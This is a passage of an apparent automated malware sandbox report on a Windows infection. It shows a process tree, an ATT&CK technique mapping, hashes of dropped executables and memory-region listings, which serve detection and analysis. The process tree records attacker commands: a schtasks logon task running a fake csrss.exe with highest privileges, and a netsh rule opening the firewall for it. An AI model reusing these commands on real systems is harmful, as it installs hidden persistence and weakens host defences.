                                  PID:2884
                                • C:\Windows\system32\schtasks.exe
                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                  4⤵
                                  • Creates scheduled task(s)
                                  PID:1212
                                • C:\Windows\system32\schtasks.exe
                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                  4⤵
                                  • Creates scheduled task(s)
                                  PID:2284
                          • C:\Users\Admin\AppData\Local\Temp\InstallSetup7.exe
                            "C:\Users\Admin\AppData\Local\Temp\InstallSetup7.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of WriteProcessMemory
                            PID:1268
                            • C:\Users\Admin\AppData\Local\Temp\nseFD17.tmp
                              C:\Users\Admin\AppData\Local\Temp\nseFD17.tmp
                              2⤵
                              • Executes dropped EXE
                              • Checks processor information in registry
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1968
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 944
                              2⤵
                              • Program crash
                              PID:1956
                          • C:\Windows\system32\makecab.exe
                            "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240110133604.log C:\Windows\Logs\CBS\CbsPersist_20240110133604.cab
                            1⤵
                            • Drops file in Windows directory
                            PID:1308
                          • C:\Windows\system32\netsh.exe
                            netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                            1⤵
                            • Modifies Windows Firewall
                            • Modifies data under HKEY_USERS
                            PID:1520
                          • C:\Windows\windefender.exe
                            C:\Windows\windefender.exe
                            1⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            PID:2456
                          • C:\Users\Admin\AppData\Local\Temp\is-I15D5.tmp\tuc5.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-I15D5.tmp\tuc5.tmp" /SL5="$80196,4472331,54272,C:\Users\Admin\AppData\Local\Temp\Files\tuc5.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of FindShellTrayWindow
                            PID:604
                            • C:\Windows\SysWOW64\net.exe
                              "C:\Windows\system32\net.exe" helpmsg 1102
                              2⤵
                                PID:2696
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 helpmsg 1102
                                  3⤵
                                    PID:1756
                                • C:\Users\Admin\AppData\Local\Bitrix Report LIB\bitrixreportlib.exe
                                  "C:\Users\Admin\AppData\Local\Bitrix Report LIB\bitrixreportlib.exe" -i
                                  2⤵
                                  • Executes dropped EXE
                                  PID:2028
                                • C:\Users\Admin\AppData\Local\Bitrix Report LIB\bitrixreportlib.exe
                                  "C:\Users\Admin\AppData\Local\Bitrix Report LIB\bitrixreportlib.exe" -s
                                  2⤵
                                  • Looks for VMWare services registry key.
                                  • Executes dropped EXE
                                  • Adds Run key to start application
                                  • Checks whether UAC is enabled
                                  • Maps connected drives based on registry
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  PID:1060
                              • C:\Windows\system32\conhost.exe
                                \??\C:\Windows\system32\conhost.exe "2143943737-1365424146-1709277281-769200219406888703-1507548741986470631400021637"
                                1⤵
                                  PID:2600
                                • C:\Windows\system32\AUDIODG.EXE
                                  C:\Windows\system32\AUDIODG.EXE 0x594
                                  1⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2372
                                • C:\Windows\system32\taskeng.exe
                                  taskeng.exe {D48B6545-CF9A-4D61-960C-E23418D87CDA} S-1-5-21-928733405-3780110381-2966456290-1000:VTILVGXH\Admin:Interactive:[1]
                                  1⤵
                                    PID:2040
                                    • C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
                                      "C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
                                      2⤵
                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      PID:2680
                                  • C:\Windows\system32\conhost.exe
                                    \??\C:\Windows\system32\conhost.exe "1627231940-1943147695-246257745-1267624438-817299731-1761709094-506565777881458344"
                                    1⤵
                                      PID:2236
                                    • C:\Windows\system32\AUDIODG.EXE
                                      C:\Windows\system32\AUDIODG.EXE 0x594
                                      1⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2044

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Reconnaissance

                                    Resource Development

                                    Initial Access

                                    Execution

                                    Scheduled Task/Job

                                    1
                                    T1053

                                    Persistence

                                    Boot or Logon Autostart Execution

                                    2
                                    T1547

                                    Registry Run Keys / Startup Folder

                                    2
                                    T1547.001

                                    Create or Modify System Process

                                    2
                                    T1543

                                    Windows Service

                                    2
                                    T1543.003

                                    Scheduled Task/Job

                                    1
                                    T1053

                                    Privilege Escalation

                                    Boot or Logon Autostart Execution

                                    2
                                    T1547

                                    Registry Run Keys / Startup Folder

                                    2
                                    T1547.001

                                    Create or Modify System Process

                                    2
                                    T1543

                                    Windows Service

                                    2
                                    T1543.003

                                    Scheduled Task/Job

                                    1
                                    T1053

                                    Defense Evasion

                                    Impair Defenses

                                    2
                                    T1562

                                    Disable or Modify Tools

                                    2
                                    T1562.001

                                    Modify Registry

                                    9
                                    T1112

                                    Subvert Trust Controls

                                    1
                                    T1553

                                    Install Root Certificate

                                    1
                                    T1553.004

                                    Virtualization/Sandbox Evasion

                                    3
                                    T1497

                                    Credential Access

                                    Unsecured Credentials

                                    3
                                    T1552

                                    Credentials In Files

                                    3
                                    T1552.001

                                    Discovery

                                    Network Service Discovery

                                    1
                                    T1046

                                    Peripheral Device Discovery

                                    2
                                    T1120

                                    Query Registry

                                    9
                                    T1012

                                    System Information Discovery

                                    8
                                    T1082

                                    Virtualization/Sandbox Evasion

                                    3
                                    T1497

                                    Lateral Movement

                                    Collection

                                    Data from Local System

                                    3
                                    T1005

                                    Command and Control

                                    Web Service

                                    1
                                    T1102

                                    Exfiltration

                                    Impact

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • C:\ProgramData\Adobe\PFCIA.exe
                                      Filesize

                                      768KB

                                      MD5

                                      cad15524871fdee4673222102dda7ede

                                      SHA1

                                      538d594b40e7acd4b84747c67c8e7144f3b35e90

                                      SHA256

                                      2bb329e2fad7aef3476b700629f8184a4fe881c1d8cf2037cf7c2e3936374ca4

                                      SHA512

                                      72cc2386e8eccacf7dc51ddb437d98c27406dcfed7b640dafba2220f2a86ab126e70c42b7c032d721ddbca445e74420518d1a6a8f9bfa436d8b5e38caf1bd874

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\2495188efda82f5bcb92df1b36c4e15f
                                      Filesize

                                      20KB

                                      MD5

                                      c9ff7748d8fcef4cf84a5501e996a641

                                      SHA1

                                      02867e5010f62f97ebb0cfb32cb3ede9449fe0c9

                                      SHA256

                                      4d3f3194cb1133437aa69bb880c8cbb55ddf06ff61a88ca6c3f1bbfbfd35d988

                                      SHA512

                                      d36054499869a8f56ac8547ccd5455f1252c24e17d2b185955390b32da7e2a732ace4e0f30f9493fcc61425a2e31ed623465f998f41af69423ee0e3ed1483a73

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\5D6D.exe
                                      Filesize

                                      92KB

                                      MD5

                                      6546286a9b03ac7e89992fb3e2724848

                                      SHA1

                                      07f266bb3e606f0a617bd76d2904588c389765bd

                                      SHA256

                                      45166748f326b99dd3ae8a96ff218c94661722932c817e986298db3a17c2de41

                                      SHA512

                                      3e6f5e27ab91e02e4b00544bde82d39a743777e219779e71e4498f322760c12b17412a0cec042cdc93b704b0a647703a9e576be03c1f7d7dece1d0e21fcec03d

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\C42A.exe
                                      Filesize

                                      360KB

                                      MD5

                                      80c413180b6bd0dd664adc4e0665b494

                                      SHA1

                                      e791e4a3391fc6b7bcb58399cd4fa3c52a06b940

                                      SHA256

                                      6d99cec56614b6b8a23dfa84a50c6bbfde535411c6366ac2bcc20c9f5af62880

                                      SHA512

                                      347f4ae6f308b37d055a6177478e45ab3838d7020abed70c7aa138d2c3771e709de204da8550aebdcaa6139d869dc7328cc7e645c4dd48d1066f9ad70225644a

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\Cab9EF0.tmp
                                      Filesize

                                      65KB

                                      MD5

                                      ac05d27423a85adc1622c714f2cb6184

                                      SHA1

                                      b0fe2b1abddb97837ea0195be70ab2ff14d43198

                                      SHA256

                                      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

                                      SHA512

                                      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe
                                      Filesize

                                      195KB

                                      MD5

                                      1d3eda04f0c2f84002d479177a9a0dc1

                                      SHA1

                                      7289fcbbb18de90735af84b5c99818cd5411c87f

                                      SHA256

                                      029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31

                                      SHA512

                                      1c73e74e31ee730b2dfade6e700f66b94cc15bf4167427ca4a9b3a1b5132e168a73276d6ccba0602b6ba37c3cc72312f06a9c42a6a731175a4daf72307783c94

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\Files\SuburbansKamacite.exe
                                      Filesize

                                      339KB

                                      MD5

                                      2e13eb39c176ac29f7794d9770e3c1f4

                                      SHA1

                                      f4b098f12e41560242e6f5d9975b9c6187d26866

                                      SHA256

                                      5b6429f38ac48a93050ffdaea60282c3b30f278534200ada99363398102cbe55

                                      SHA512

                                      21817d4f56e58a593c110e00958fbb9899a1c643c0864e726c462c694c000f4152cdb501bcdddb70a17b0fd72a1d8f46537e20a71e907b8db67dffd04492202d

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
                                      Filesize

                                      300KB

                                      MD5

                                      5d2f16ef266104387e196951e7a54383

                                      SHA1

                                      025c8f532bd1b3824730e2b110da6240fad56201

                                      SHA256

                                      a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39

                                      SHA512

                                      ff9a1c4750bce23ab2c4560e74a184043e7734d60d9b363cf731f25dc224ee6ad534ab76473297d6a32ab0c2caa1a1f814e9b70921bc9d9de19abf39f8ae2d6a

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\Files\npp.exe
                                      Filesize

                                      9KB

                                      MD5

                                      2ea6c5e97869622dfe70d2b34daf564e

                                      SHA1

                                      45500603bf8093676b66f056924a71e04793827a

                                      SHA256

                                      5f28bba8bd23cdb5c8a3fa018727bcf365eaf31c06b7bc8d3f3097a85db037f3

                                      SHA512

                                      f8f82b5875e8257206561de22ddbd8b5d9a2393e0da62f57c5a429ca233c7443c34647cc2253cf766bfaaf8177acb5c0627ab2f2418f5968f0a6fdec54244d43

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\Files\updHost.exe
                                      Filesize

                                      362KB

                                      MD5

                                      008d1475b7ce694e3e9572002d20c4d6

                                      SHA1

                                      08b8b12302da01b25b84503728e139d66a42ea0a

                                      SHA256

                                      f7f59e244cfca65e5a95831792366bbc2fb5c495d17546b768fb9c68ce3219fe

                                      SHA512

                                      67c2b08b5835cf34e5d2948771b12bb78f4c364f2a086d3b50d50e570d83ecfc2e1cd38e0882a23e79008795d7e638b705af98c87cb1f6dd8a9826bcae482b9d

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\Tar9F12.tmp
                                      Filesize

                                      171KB

                                      MD5

                                      9c0c641c06238516f27941aa1166d427

                                      SHA1

                                      64cd549fb8cf014fcd9312aa7a5b023847b6c977

                                      SHA256

                                      4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

                                      SHA512

                                      936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                                      Filesize

                                      98KB

                                      MD5

                                      76ee2a56701c3a6b91bfa35ccb642a24

                                      SHA1

                                      5ae15d9ce4a619bb4db8f3aadc705c53dade7dae

                                      SHA256

                                      717fa34397d2dfeec8793634233d79cbf7ecce83c99799df59e5100ff5aaa254

                                      SHA512

                                      e8f86f0102871c7cd72a767bd358f95d828c4b285ef9da06e7f936c525189fa83c29cfce259fd6e15c4bcfad56ac301a0e6152887afc7667d973258762c67d13

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\csrss\a4f5f1769e9bfd6c4510d7b73aa3332f.exe
                                      Filesize

                                      92KB

                                      MD5

                                      9b9c9ac93289a00ab073beb99a0206b4

                                      SHA1

                                      e62e2d9008397f433c2b6129150ed94a95ed511d

                                      SHA256

                                      71bd2fee2e7d5ad1ff613962ced52d77c938d454f2e1605105ef4951c14ddb3c

                                      SHA512

                                      da051f85b0580533e722938aa9202ba5c2407fc3d24661b09269510277380604a7949b721fad8273ba375293f3c8b7888ed9b8110d34b774bd4e4facbeec0df2

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
                                      Filesize

                                      64KB

                                      MD5

                                      a523dc52e2ddf38237a17b435157b86e

                                      SHA1

                                      f82bc3815f32486f8b135ca43892f5bf2c6506d6

                                      SHA256

                                      d0aeb2c65efccae50a49875c935d1ef8eaf6baa8445b01fd834dd38e64db1c91

                                      SHA512

                                      330b93d22bf232c77b3ee6f08e0863488838d4a8fb7b8e499e22aa067c93a17f8b9018e0a32babaffdfaed32e0981e11fff7859789f642120969b01eb7b05695

                                      Download Submit

                                    • C:\Users\Admin\AppData\Local\Temp\is-HL36M.tmp\tuc2.tmp
                                      Filesize

                                      92KB

                                      MD5

                                      c500b4c1d9b5161ee29730790b6c5162

                                      SHA1

                                      46549f43922f86872be2ae3a823407183af74094

                                      SHA256

                                      61bb890623768047763c090987b5fde5bb8d9d9e3b25ac82d6e10276a12de5c7

                                      SHA512

                                      c7187459a0ecccd46091ebaff9b68e0fe1f3c4639d4dac9bc0ea7b2d68781c69c36dc6c75062a4a4ac65bd21134cd7da3c1c8783a6a0434fc77041af39914db8

                                      Download Submit

                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XS37XST29T6JC0KMI2KU.temp
                                      Filesize

                                      7KB

                                      MD5

                                      108cfce88a66e9db9b22b2f606f6b328

                                      SHA1

                                      d27a4b3e18d69d58458f84168081e4e2ba08f715

                                      SHA256

                                      70477d94495dc747bc0ad711b9d09450a72bc74f99c6e987b3aa0e20f227bd96

                                      SHA512

                                      f2cd15f1e9c03ce8b8ab040f571af96ef65093d9fc0104acba478c5d6da356a6f7c0c7fcb2273e525b1d27164a1d3a32d24d60da7fb8fe11476ed4d5128bdff0

                                      Download Submit

                                    • C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
                                      Filesize

                                      5.4MB

                                      MD5

                                      41ab08c1955fce44bfd0c76a64d1945a

                                      SHA1

                                      2b9cb05f4de5d98c541d15175d7f0199cbdd0eea

                                      SHA256

                                      dd12cb27b3867341bf6ca48715756500d3ec56c19b21bb1c1290806aa74cb493

                                      SHA512

                                      38834ae703a8541b4fec9a1db94cfe296ead58649bb1d4873b517df14d0c6a9d25e49ff04c2bf6bb0188845116a4e894aae930d849f9be8c98d2ce51da1ef116

                                      Download Submit

                                    • memory/620-731-0x0000000000400000-0x0000000000414000-memory.dmp

                                      Filesize

                                      80KB

                                      Download

                                    • memory/1148-172-0x00000000003D0000-0x0000000000ACE000-memory.dmp

                                      Filesize

                                      7.0MB

                                      Download

                                    • memory/1148-225-0x0000000074030000-0x000000007471E000-memory.dmp

                                      Filesize

                                      6.9MB

                                      Download

                                    • memory/1148-201-0x0000000074030000-0x000000007471E000-memory.dmp

                                      Filesize

                                      6.9MB

                                      Download

                                    • memory/1164-598-0x00000000035C0000-0x00000000036F1000-memory.dmp

                                      Filesize

                                      1.2MB

                                      Download

                                    • memory/1164-581-0x00000000035C0000-0x00000000036F1000-memory.dmp

                                      Filesize

                                      1.2MB

                                      Download

                                    • memory/1164-580-0x00000000021E0000-0x00000000022EC000-memory.dmp

                                      Filesize

                                      1.0MB

                                      Download

                                    • memory/1164-226-0x000000013F290000-0x000000013F2FF000-memory.dmp

                                      Filesize

                                      444KB

                                      Download

                                    • memory/1512-469-0x0000000140000000-0x00000001405E8000-memory.dmp

                                      Filesize

                                      5.9MB

                                      Download

                                    • memory/1512-486-0x0000000140000000-0x00000001405E8000-memory.dmp

                                      Filesize

                                      5.9MB

                                      Download

                                    • memory/1660-371-0x0000000002570000-0x0000000002968000-memory.dmp

                                      Filesize

                                      4.0MB

                                      Download

                                    • memory/1660-384-0x0000000002570000-0x0000000002968000-memory.dmp

                                      Filesize

                                      4.0MB

                                      Download

                                    • memory/1660-383-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/1660-373-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/1660-285-0x0000000002570000-0x0000000002968000-memory.dmp

                                      Filesize

                                      4.0MB

                                      Download

                                    • memory/1660-372-0x0000000002970000-0x000000000325B000-memory.dmp

                                      Filesize

                                      8.9MB

                                      Download

                                    • memory/1672-78-0x0000000000400000-0x0000000000414000-memory.dmp

                                      Filesize

                                      80KB

                                      Download

                                    • memory/1672-75-0x0000000000400000-0x0000000000414000-memory.dmp

                                      Filesize

                                      80KB

                                      Download

                                    • memory/1672-100-0x0000000000400000-0x0000000000414000-memory.dmp

                                      Filesize

                                      80KB

                                      Download

                                    • memory/1968-571-0x0000000000400000-0x000000000062E000-memory.dmp

                                      Filesize

                                      2.2MB

                                      Download

                                    • memory/1968-539-0x0000000061E00000-0x0000000061EF3000-memory.dmp

                                      Filesize

                                      972KB

                                      Download

                                    • memory/1968-465-0x0000000000220000-0x000000000023C000-memory.dmp

                                      Filesize

                                      112KB

                                      Download

                                    • memory/1968-464-0x00000000007F0000-0x00000000008F0000-memory.dmp

                                      Filesize

                                      1024KB

                                      Download

                                    • memory/1968-576-0x00000000007F0000-0x00000000008F0000-memory.dmp

                                      Filesize

                                      1024KB

                                      Download

                                    • memory/1968-466-0x0000000000400000-0x000000000062E000-memory.dmp

                                      Filesize

                                      2.2MB

                                      Download

                                    • memory/2128-283-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/2128-282-0x0000000002A70000-0x000000000335B000-memory.dmp

                                      Filesize

                                      8.9MB

                                      Download

                                    • memory/2128-280-0x0000000002670000-0x0000000002A68000-memory.dmp

                                      Filesize

                                      4.0MB

                                      Download

                                    • memory/2128-218-0x0000000002670000-0x0000000002A68000-memory.dmp

                                      Filesize

                                      4.0MB

                                      Download

                                    • memory/2128-286-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/2148-58-0x0000000004680000-0x00000000046C0000-memory.dmp

                                      Filesize

                                      256KB

                                      Download

                                    • memory/2148-655-0x0000000006460000-0x0000000007303000-memory.dmp

                                      Filesize

                                      14.6MB

                                      Download

                                    • memory/2148-0-0x00000000001F0000-0x00000000001F8000-memory.dmp

                                      Filesize

                                      32KB

                                      Download

                                    • memory/2148-1-0x0000000074030000-0x000000007471E000-memory.dmp

                                      Filesize

                                      6.9MB

                                      Download

                                    • memory/2148-2-0x0000000004680000-0x00000000046C0000-memory.dmp

                                      Filesize

                                      256KB

                                      Download

                                    • memory/2148-57-0x0000000074030000-0x000000007471E000-memory.dmp

                                      Filesize

                                      6.9MB

                                      Download

                                    • memory/2164-717-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-729-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-704-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-705-0x00000000761B0000-0x00000000761F7000-memory.dmp

                                      Filesize

                                      284KB

                                      Download

                                    • memory/2164-708-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-710-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-713-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-715-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-719-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-727-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-730-0x0000000077310000-0x0000000077312000-memory.dmp

                                      Filesize

                                      8KB

                                      Download

                                    • memory/2164-718-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-656-0x0000000000400000-0x00000000012A3000-memory.dmp

                                      Filesize

                                      14.6MB

                                      Download

                                    • memory/2164-665-0x0000000000400000-0x00000000012A3000-memory.dmp

                                      Filesize

                                      14.6MB

                                      Download

                                    • memory/2164-706-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-707-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-709-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-711-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-712-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-714-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2164-716-0x0000000075110000-0x0000000075220000-memory.dmp

                                      Filesize

                                      1.1MB

                                      Download

                                    • memory/2456-646-0x0000000000400000-0x00000000008DF000-memory.dmp

                                      Filesize

                                      4.9MB

                                      Download

                                    • memory/2504-91-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/2504-101-0x0000000000400000-0x00000000004BC000-memory.dmp

                                      Filesize

                                      752KB

                                      Download

                                    • memory/2504-246-0x0000000000400000-0x00000000004BC000-memory.dmp

                                      Filesize

                                      752KB

                                      Download

                                    • memory/2504-247-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/2616-642-0x0000000000400000-0x00000000008DF000-memory.dmp

                                      Filesize

                                      4.9MB

                                      Download

                                    • memory/2616-647-0x0000000000400000-0x00000000008DF000-memory.dmp

                                      Filesize

                                      4.9MB

                                      Download

                                    • memory/2688-279-0x0000000000400000-0x0000000000965000-memory.dmp

                                      Filesize

                                      5.4MB

                                      Download

                                    • memory/2688-236-0x0000000000240000-0x0000000000241000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/2688-352-0x0000000000240000-0x0000000000241000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/2688-401-0x0000000000400000-0x0000000000965000-memory.dmp

                                      Filesize

                                      5.4MB

                                      Download

                                    • memory/2688-478-0x0000000000400000-0x0000000000965000-memory.dmp

                                      Filesize

                                      5.4MB

                                      Download

                                    • memory/2844-572-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/2844-568-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/2844-402-0x00000000025E0000-0x00000000029D8000-memory.dmp

                                      Filesize

                                      4.0MB

                                      Download

                                    • memory/2844-449-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/2844-388-0x00000000025E0000-0x00000000029D8000-memory.dmp

                                      Filesize

                                      4.0MB

                                      Download

                                    • memory/2844-382-0x00000000025E0000-0x00000000029D8000-memory.dmp

                                      Filesize

                                      4.0MB

                                      Download

                                    • memory/2844-390-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/2844-577-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/2844-405-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/2844-398-0x0000000000400000-0x0000000000D1C000-memory.dmp

                                      Filesize

                                      9.1MB

                                      Download

                                    • memory/3056-68-0x0000000000560000-0x00000000005A0000-memory.dmp

                                      Filesize

                                      256KB

                                      Download

                                    • memory/3056-199-0x0000000074030000-0x000000007471E000-memory.dmp

                                      Filesize

                                      6.9MB

                                      Download

                                    • memory/3056-224-0x0000000000560000-0x00000000005A0000-memory.dmp

                                      Filesize

                                      256KB

                                      Download

                                    • memory/3056-67-0x0000000074030000-0x000000007471E000-memory.dmp

                                      Filesize

                                      6.9MB

                                      Download

                                    • memory/3056-66-0x00000000000D0000-0x0000000000122000-memory.dmp

                                      Filesize

                                      328KB

                                      Download